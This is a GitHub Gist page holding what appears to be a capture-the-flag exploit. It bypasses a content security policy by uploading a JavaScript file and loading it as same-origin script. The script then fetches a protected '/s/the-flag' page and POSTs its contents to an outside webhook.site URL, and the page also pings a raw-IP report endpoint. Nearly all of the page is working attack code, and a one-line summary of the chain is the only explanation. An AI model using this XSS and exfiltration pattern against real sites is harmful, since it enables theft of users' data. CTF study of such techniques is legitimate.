-
-
Save RenwaX23/196fac7f931fa5b63749b3f0fb4d2f7a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| exploit.html: | |
| <script src=/uploads/upload_something.js></script> | |
| <img src=https://httpstat.us/200?sleep=10000> | |
| <img src=http://168.119.224.64:8080/report?url=/s/the-flag> | |
| upload_something: | |
| setTimeout(function(){ | |
| fetch('/s/the-flag').then(r=>{r.text().then(w=>{ | |
| fetch('https://webhook.site/**?', { | |
| method: 'POST', | |
| headers: {'Content-Type':'application/x-www-form-urlencoded'}, | |
| body: 'foo='+w | |
| }); | |
| Upload arbitrary file to get XSS and bypass CSP with script-src self, download /s/the-flag to the local server fetch() and win |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment